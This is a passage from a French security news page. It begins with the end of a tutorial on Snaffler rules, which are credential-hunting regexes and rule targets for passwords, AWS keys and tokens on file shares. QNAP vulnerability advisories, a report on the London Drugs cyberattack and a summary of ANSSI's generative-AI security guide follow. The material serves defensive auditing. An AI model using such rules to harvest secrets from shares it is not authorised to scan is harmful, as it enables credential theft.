EnumerationScope = "FileEnumeration"
RuleName = "RelayPsByExtension"
MatchAction = "Relay"
RelayTargets = ["KeepPsCredentials",
"KeepCmdCredentials",
"KeepAwsKeysInCode",
"KeepInlinePrivateKey",
"KeepPassOrKeyInCode", "KeepSlackTokensInCode",
"KeepSqlAccountCreation",
"KeepDbConnStringPw"]
Description = "Files with these extensions will be searched for PowerShell related strings."
MatchLocation = "FileExtension"
WordListType = "Exact"
MatchLength = 0
WordList = ["\.psd1",
"\.psm1",
"\.ps1"]
Triage = "Green"
Les noms des différents attributs sont assez explicites et nous avons déjà aperçu des "EnumerationScope" précédemment dans l'article :
ShareEnumeration : règles portant sur les partages, permettant notamment d'exclure de l'analyse certains partages peu intéressant ("\\PRINT$" "\\IPC$").
DirectoryEnumeration : règles portant sur les noms des répertoires, permettant également d'en exclure certains.
FileEnumeration : règles portant sur les noms et extensions des fichiers, permettant d'inclure ou exclure certains d'entre eux de l'analyse, de journaliser les fichiers intéressants et de passer aux règles suivantes les fichiers à parser.
ContentsEnumeration : règles de parsage de fichier, qui permettent de détecter des patterns précis dans des fichiers ("password=", "client_secret", etc.)
PostMatch : Règles spécifiques d'exclusion pour exclure certains faux positifs classiques.
Notre règle ci-dessus va donc rechercher les fichiers ayant des extensions précises ("MatchLocation = FileExtension"), comme ".psd1", ".psm1" ou ".ps1". En cas de match, elle va relayer ("MatchAction = Relay") le fichier cible aux règles présentes dans la liste "RelayTargets". Voici, en exemple, l'une des règles cible en question :
[[ClassifierRules]]
EnumerationScope = "ContentsEnumeration"
RuleName = "KeepPsCredentials"
MatchAction = "Snaffle"
Description = "Files with contents matching these regexen are very interesting."
MatchLocation = "FileContentAsString"
WordListType = "Regex"
MatchLength = 0
WordList = [ "-SecureString",
"-AsPlainText",
"\[Net.NetworkCredential\]::new\("]
Triage = "Red"
Cette règle va rechercher dans le contenu du fichier ("MatchLocation = FileContentAsString") les mots "-SecureString", "-AsPlainText", "\[Net.NetworkCredential\]::new\(" et journaliser "MatchAction = Snaffle" en cas de match. Lorsqu'un script PowerShell contient l'instruction "-AsPlainText" ou qu'il fait référence à une SecureString, c'est généralement le signe qu'il y a un mot de passe intégré dans le script.
Les règles par défaut de Snaffler sont mises à jour occasionnellement en fonction des apports de la communauté (voir l'historique des pull requests Github), vous pouvez notamment consulter le contenu des règles sur le Github également : Github - Snaffler/SnafflerRules. N'hésitez pas à les consulter en parallèle de vos premières utilisations pour comprendre précisément comment ces règles sont structurées.
B. Créer une règle Snaffler personnalisée
Ces deux exemples devraient vous fournir les bases nécessaires à la modification des règles existantes et la création de vos propres règles. Nous allons voir dans cette section comment ajouter une règle de recherche dans le contenu des fichiers PowerShell. Dans un premier temps, il est nécessaire de générer une base de fichier de configuration à l'aide de l'option "-z" :
Snaffler.exe -z
Cette option va générer un fichier "default.toml" dans votre répertoire courant, qu'il faudra ensuite spécifier lors du lancement de Snaffler (c'est ce fichier qui contient la limite de taille de fichier au-delà de laquelle Snaffler ne s'intéressera pas à un fichier).
À titre d'exemple, imaginons que nous venons de mettre en place un SI de sauvegarde cloisonné de notre SI principal et totalement décorrélé de notre domaine. Dans la démarche d'un attaquant ayant compromis notre domaine et souhaitant atteindre les sauvegardes avant de déployer son ransomware, celui-ci peut chercher dans notre documentation, scripts et mails la trace d'un éventuel SI de sauvegarde.
Nous ne souhaitons donc pas qu'un attaquant ayant compromis un compte d'un membre du SI puisse découvrir de script contenant le nom de notre serveur de sauvegarde ("SRV-BACKUP01") et par conséquent l'existence de notre SI de sauvegarde. Je vais dans un premier temps ajouter la règle suivante :
Celle-ci va rechercher le terme "SRV-BACKUP01" dans tous les fichiers qui lui seront relayés. Ensuite, nous allons reprendre la structure de la règle "RelayPsByExtension" vu précédemment, ajouter quelques extensions et préciser ma nouvelle règle dans la liste des "RelayTargets" :
[[ClassifierRules]]
EnumerationScope = "FileEnumeration"
RuleName = "RelayScriptExtension"
MatchAction = "Relay"
RelayTargets = ["CUSTOM-KeepPsBackupServer"]
Description = "Files with these extensions will be searched for script related strings."
MatchLocation = "FileExtension"
WordListType = "Exact"
MatchLength = 0
WordList = ["\\.psd1",
"\\.psm1",
"\\.ps1",
"\\.bat",
"\\.cmd",
"\\.vbs"]
Triage = "Green"
Si j'exécute Snaffler en spécifiant ma nouvelle configuration, une analyse avec uniquement mes deux règles sera effectuée :
Snaffler.exe -s -v Data -z .\default.toml
Voici un résultat possible :
Ma nouvelle règle "CUSTOM-KeepPsBackupServer" a effectivement permis de trouver un script contenant le nom de mon serveur de sauvegarde, il ne s'agit pas d'une information sensible au regard des règles par défaut de Snaffler, mais dans mon contexte, cette information a intérêt à être remontée.
Attention, cette action va exécuter une analyse avec uniquement vos règles. Celles par défaut ne seront plus utilisées. Si vous souhaitez ajouter vos règles de façon durable dans l'analyse en plus de celles par défaut, il faut ajouter des fichiers ".toml" contenant vos règles dans le dossier "Snaffler/SnaffRules/DefaultRules", puis recompiler le binaire, qui contiendra alors l'ensemble des règles.
VI. Conclusion
Nous avons étudié dans cet article la problématique du stockage des informations sensibles dans les partages de fichiers et de la difficulté de gestion des droits et permissions dans le temps sur ces éléments. Snaffler est à mon sens un outil très intéressant pour compléter les mesures de sécurité habituelles sur ces sujets, puisqu'il permet de faire une analyse complète et concrète des informations visibles par un utilisateur sur les partages.
Il s'agit d'un outil très utilisé dans les phases de recherche, notamment lors des opérations de simulations d'attaques (tests d'intrusion). Dans des opérations réelles, l'attaquant ne va pas utiliser Snaffler car celui-ci est trop bruyant (un même compte utilisateur qui s'authentifie sur toutes les machines du domaine pour lister les partages), mais l'opération restera la même : voir quelles informations sont accessibles par un utilisateur compromis, et trouver des données techniques ou métier.
Enfin, il faut savoir qu'une version "étendue" de Snaffler existe ("UltraSnaffler"), elle permet de chercher des données dans des fichiers plus complexes comme des fichiers ".docx", ".xlsx". Ces possibilités ne sont pas proposées par défaut, car elle nécessite l'inclusion de librairies qui multiplie par 1200% le poids du binaire. Cela reste néanmoins une piste intéressante pour une utilisation et investigation avancée.
N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !
Vous utilisez un NAS QNAP ? Veillez à ce qu'il soit à jour, car plusieurs failles de sécurité critiques ont été corrigées ! Elles représentent une menace sérieuse pour votre NAS et vos données. Faisons le point.
En mars dernier, nous avons déjà publié un article au sujet de 3 failles de sécurité critiques découvertes dans le système d'exploitation utilisé par les NAS QNAP. Il s'avère que 3 autres vulnérabilités sont désormais mentionnées dans ce bulletin de sécurité et qu'une autre alerte mentionne 2 failles de sécurité découvertes à l'occasion d'une édition de la compétition de hacking Pwn2Own. L'exploitation de ces vulnérabilités peut permettre à un attaquant d'exécuter des commandes sur le NAS, ce qui pourrait lui permettre de compromettre l'appareil.
Commençons par évoquer les trois failles de sécurité critiques évoquées sur cette page :
CVE-2024-27124 :
Cette vulnérabilité d'injection de commande pourrait permettre à des utilisateurs d'exécuter des commandes sur le système du NAS, à distance, via le réseau. Elle est associée à un score CVSS de 7.5 sur 10.
CVE-2024-32764 :
Cette vulnérabilité donne accès à une fonction critique du système sans authentification et pourrait permettre à des utilisateurs standards (sans privilèges élevés) d'accéder à certaines fonctions et de les utiliser, à distance. Ceci est lié au service myQNAPcloud Link. Elle est associée à un score CVSS de 9.9 sur 10.
"Un défaut de contrôle de l’authentification dans myQNAPcloud Link permet à un attaquant non authentifié, en envoyant des requêtes spécifiquement forgées, d’accéder à certaines fonctionnalités critiques.", peut-on lire sur le site du CERT Santé.
CVE-2024-32766 :
Cette vulnérabilité d'injection de commande pourrait permettre à un attaquant non authentifié d'exécuter des commandes arbitraires sur le système du NAS, à distance, via le réseau. Elle est associée à un score CVSS de 10 sur 10.
En plus de ces 3 vulnérabilités, voici 2 autres failles de sécurité importantes patchées il y a quelques jours par QNAP :
CVE-2023-51364, CVE-2023-51365 :
Il s'agit de deux vulnérabilités de type "path transversal" permettant à un attaquant de lire le contenu de fichiers protégés, et potentiellement, d'exposer des données sensibles via le réseau. Elles sont associées à un score CVSS de 8.7 sur 10.
Quelles sont les versions affectées ?
Voici la liste des versions affectées, pour chaque système :
QTS 5.x et QTS 4.5.x
QuTS hero h5.x et QuTS hero h4.5.x
QuTScloud c5.x
myQNAPcloud 1.0.x
myQNAPcloud Link 2.4.x
Comment se protéger ?
Pour vous protéger de l'ensemble de ces failles de sécurité, vous devez utiliser l'une de ces versions :
QTS 5.1.4.2596 build 20231128 et supérieur
QTS 4.5.4.2627 build 20231225 et supérieur
QuTS hero h5.1.3.2578 build 20231110 et supérieur
QuTS hero h4.5.4.2626 build 20231225 et supérieur
QuTScloud c5.1.5.2651 et supérieur
myQNAPcloud 1.0.52 (2023/11/24) et supérieur
myQNAPcloud Link 2.4.51 et supérieur
En complément, veillez à utiliser un mot de passe robuste sur vos comptes d'accès au NAS (activez le MFA également), sauvegardez régulièrement vos données et limitez les accès au NAS notamment l'exposition de l'appareil sur Internet.
La chaîne de magasins canadienne "London Drugs" est victime d'une cyberattaque majeure ! Plusieurs magasins sont actuellement fermés à cause de cet incident de sécurité ! Faisons le point.
London Drugs est une grande chaîne de magasins canadiens qui vend des produits divers et variés : des produits de beauté, des outils de jardinage ou encore des ordinateurs. Le site officiel mentionne 80 magasins pour un total de 8 000 employés.
Le 28 avril 2024, les équipes techniques de London Drugs ont fait la découverte d'une intrusion sur leur système informatique. L'information a été révélée dimanche soir dans un e-mail envoyé à CBC/Radio-Canada.
Suite à cette cyberattaque, qualifiée de problème opérationnel, des mesures ont été prises : "London Drugs a immédiatement pris des contre-mesures pour protéger son réseau et ses données", notamment en sollicitant l'aide d'experts externes. De plus, la direction a pris la décision de fermer temporairement tous ses magasins présents dans l'ouest du Canada, pour une durée indéterminée. Il s'agit d'une mesure de précaution et une conséquence de l'indisponibilité éventuelle d'une partie du système informatique. Rien qu'en Colombie-Britannique, London Drugs compte plus de 50 magasins.
Pour le moment, aucune information n'a été publiée quant à l'origine de cette attaque. Nous ignorons s'il s'agit d'un ransomware et s'il y a eu un vol de données.
L'Agence nationale de la sécurité des systèmes d'information (ANSSI) a mis en ligne un nouveau guide au sujet de la sécurité de l'IA générative ! Un document probablement attendu par de nombreuses organisations et personnes compte tenu de la popularité du sujet !
Ce guide mis en ligne par l'ANSSI est le bienvenu ! Il devrait donc être consulté par toutes les entreprises qui envisagent d'utiliser ou de concevoir une IA générative.
D'ailleurs, c'est quoi exactement l'IA générative ? L'ANSSI nous propose sa définition dans les premières pages de son guide : "L’IA générative est un sous-ensemble de l’intelligence artificielle, axé sur la création de modèles qui sont entraînés à générer du contenu (texte, images, vidéos, etc.) à partir d’un corpus spécifique de données d’entraînement." - Autrement dit, il s'agit d'une IA destinée à différents cas d'usage tels que les Chatbots, la génération de code informatique ou encore l'analyse et la synthèse d'un document.
L'ANSSI insiste sur le fait que la mise en œuvre d'une IA générative peut se décomposer en trois phases :
1 - La phase d'entraînement, à partir d'ensembles de données spécifiquement sélectionnés.
2 - La phase d'intégration et de déploiement.
3 - La phase de production où l'IA est mise à disposition des utilisateurs.
Chacune de ces phases doit être associée à des "mesures de sécurisations spécifiques", notamment en tenant compte de "la sensibilité des données utilisées à chaque étape et de la criticité du système d’IA dans sa finalité.", peut-on lire. La confidentialité et la protection des données utilisées pour l'entraînement initial de l'IA est l'un des enjeux.
Au-delà de s'intéresser à l'IA générative dans son ensemble, ce guide traite de plusieurs scénarios concrets et qui font échos à certains usages populaires actuels.
Scénarios d'attaques sur un système d'IA générative
L'ANSSI évoque également des scénarios d'attaques sur l'IA générative, telles que les attaques par manipulation, infection et exfiltration. Le schéma ci-dessous met en lumière plusieurs scénarios où l'attaquant s'est introduit à différents emplacements du SI (accès à l'environnement de développement, accès à une source de données, accès à un plugin sollicité par le système d'IA, etc.).
Source : ANSSI
Sécurité de l'IA générative : les recommandations de l'ANSSI
Tout au long de ce guide, l'ANSSI a introduit des recommandations. Au total, il y a 35 recommandations à mettre en œuvre pour sécuriser l'intégralité d'un système d'IA générative. Il y a un ensemble de recommandations pour chaque phase du déploiement.
L'ANSSI insiste notamment sur l'importance de cloisonner le système d'IA, de journaliser et de filtrer les accès notamment car les plugins externes représentent un risque majeur, et de dédier les composants GPU au système d'IA. Autrement dit, l'ANSSI déconseille de mutualiser le matériel destinée à l'IA.
Pour consulter ce guide, rendez-vous sur le site de l'ANSSI :
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